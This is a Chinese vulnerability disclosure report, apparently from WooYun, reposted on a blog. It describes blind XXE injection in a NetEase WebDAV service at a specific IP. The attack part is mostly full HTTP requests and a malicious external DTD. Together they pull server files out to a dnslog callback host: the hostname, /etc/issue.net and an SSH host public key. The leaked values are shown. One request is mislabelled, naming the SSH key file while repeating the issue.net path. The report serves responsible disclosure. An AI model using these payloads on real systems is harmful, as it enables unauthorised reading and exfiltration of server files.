利用网易一处XXE盲注演示如何通过cloudeye配合实现文件内容读取

  • 内容
  • 相关

漏洞详情

披露状态:

 

2016-04-28: 细节已通知厂商并且等待厂商处理中
2016-04-29: 厂商已经确认,细节仅向厂商公开
2016-05-09: 细节向核心白帽子及相关领域专家公开
2016-05-19: 细节向普通白帽子公开
2016-05-29: 细节向实习白帽子公开
2016-06-13: 细节向公众公开

简要描述:

野生xml外部实体注入

详细说明:

地址:

code 区域
http://106.2.32.66:8080/webdav/





IP归属地:

QQ图片20160428151051.png





存在一处webdav目录,支持通过PROPFIND方式提交xml结构请求



构造xxe测试payload:



code 区域
PROPFIND /webdav/ HTTP/1.1
Content-type: application/xml
Depth: 0
Connection: Keep-alive
TE: trailers
Authorization: Basic YW5vbnltb3VzOmFub255bW91cw==
Host: 106.2.32.66:8080
Content-Length: 172
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtz3zkd [
<!ENTITY % dtd SYSTEM "http://66ae2b.dnslog.info/">
%dtd;]>
<propfind xmlns="DAV:"><allprop/></propfind>





cloudeye apache日志:



QQ图片20160428144554.png





response返回数据:



code 区域
<?xml version="1.0" encoding="utf-8" ?>
<multistatus xmlns="DAV:"><response><href>/webdav/</href>
<propstat><prop><creationdate>2015-07-13T12:13:57Z</creationdate>
<displayname><![CDATA[]]></displayname>
<resourcetype><collection/></resourcetype>
<source></source>
<supportedlock><lockentry><lockscope><exclusive/></lockscope><locktype><write/></locktype></lockentry><lockentry><lockscope><shared/></lockscope><locktype><write/></locktype></lockentry></supportedlock>
</prop>
<status>HTTP/1.1 200 OK</status>
</propstat>
</response>
</multistatus>





证明解析xml时尝试引用了外部资源,存在XXE漏洞

漏洞证明:

后续尝试构造xml请求获取回显失败,考虑继续通过cloudeye获取blind xxe回显结果。



创建一个获取回显结果的dtd文件:

code 区域
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://66ae2b.dnslog.info/?xml1=%payload;'>">
%all;





调用地址:http://*.*.*.*:8080/xml/evil.dtd



再次构造请求payload读取hostname:

code 区域
PROPFIND /webdav/ HTTP/1.1
Content-type: application/xml
Depth: 0
Connection: Keep-alive
TE: trailers
Authorization: Basic YW5vbnltb3VzOmFub255bW91cw==
Host: 106.2.32.66:8080
Content-Length: 172
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % payload SYSTEM "file:///proc/sys/kernel/hostname">
<!ENTITY % dtd SYSTEM "http://*.*.*.*:8080/xml/evil.dtd">
%dtd;
%send;
]>
<propfind xmlns="DAV:"><allprop/></propfind>





cloudeye apache日志:

QQ图片20160428145627.png





获取的hostname为:titlea-popoatispam1,貌似是网易popo的反垃圾邮件系统



由于读取带有换行符、#、<、>等特殊符号文件内容时,会破坏xml语法结构,导致payload无法正常解析,所以还做不到任意文件读取,可以尝试寻找base64、urlencode编码方法来解决,反正我是没有搞定/(ㄒoㄒ)/~~



但是也可以读到好多有价值的内容,比如读取/etc/issue.net:

code 区域
PROPFIND /webdav/ HTTP/1.1
Content-type: application/xml
Depth: 0
Connection: Keep-alive
TE: trailers
Authorization: Basic YW5vbnltb3VzOmFub255bW91cw==
Host: 106.2.32.66:8080
Content-Length: 172
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % payload SYSTEM "file:///etc/issue.net">
<!ENTITY % dtd SYSTEM "http://*.*.*.*:8080/xml/evil.dtd">
%dtd;
%send;
]>
<propfind xmlns="DAV:"><allprop/></propfind>





结果为:Debian%20GNU/Linux%207

QQ图片20160428150725.png





读取/etc/ssh/ssh_host_rsa_key.pub:

code 区域
PROPFIND /webdav/ HTTP/1.1
Content-type: application/xml
Depth: 0
Connection: Keep-alive
TE: trailers
Authorization: Basic YW5vbnltb3VzOmFub255bW91cw==
Host: 106.2.32.66:8080
Content-Length: 172
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % payload SYSTEM "file:///etc/issue.net">
<!ENTITY % dtd SYSTEM "http://*.*.*.*:8080/xml/evil.dtd">
%dtd;
%send;
]>
<propfind xmlns="DAV:"><allprop/></propfind>





结果为:ssh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABAQCcdWadpFCGUL9soWpo7KIc4/WlcwkcvqOeMfnCS4sSmT+fsQ1FMY+h6Ab+xQrvrhp4ufIN/iR92SMeIYLCxg+DSIXKdxKob9luJKdF/zl4UY/qTmRaQaAPlAgZsPHnBMKT5BW08ZMX+NzH8jQQx6xHCkx4Bqom88NMfePN0ydYwGzehS/7oh0s9JYgo8knTJ6eke7y/ohtzMLjCoBQHfAOTtyRPoFSyfc2ksU/rZOvAPteQvmhyc1geAmngcGV0eabzhSmNHcrxqeKZ5wK7zOmoGeoEZr[email protected]titlea-popoatispam1



QQ图片20160428150920.png





修复方案:

O(∩_∩)O~

版权声明:转载请注明来源 sanwenkit@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2016-04-29 17:02

厂商回复:

您好,该问题已修复,感谢您对网易产品的关注。

最新状态:

暂无


本文标签:

版权声明:若无特殊注明,本文皆为《安三》原创,转载请保留文章出处。

百度收录:百度已收录『查看详情』

本文链接:利用网易一处XXE盲注演示如何通过cloudeye配合实现文件内容读取 - https://www.15qq.cn/wooyun/819.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注

允许邮件通知

评论

1条评论
  1. avatar

    还可以aa Lv.6 Chrome 55.0.2883.87 Chrome 55.0.2883.87 Windows 7 x64 Edition Windows 7 x64 Edition 回复

    广西 移动数据上网公共出口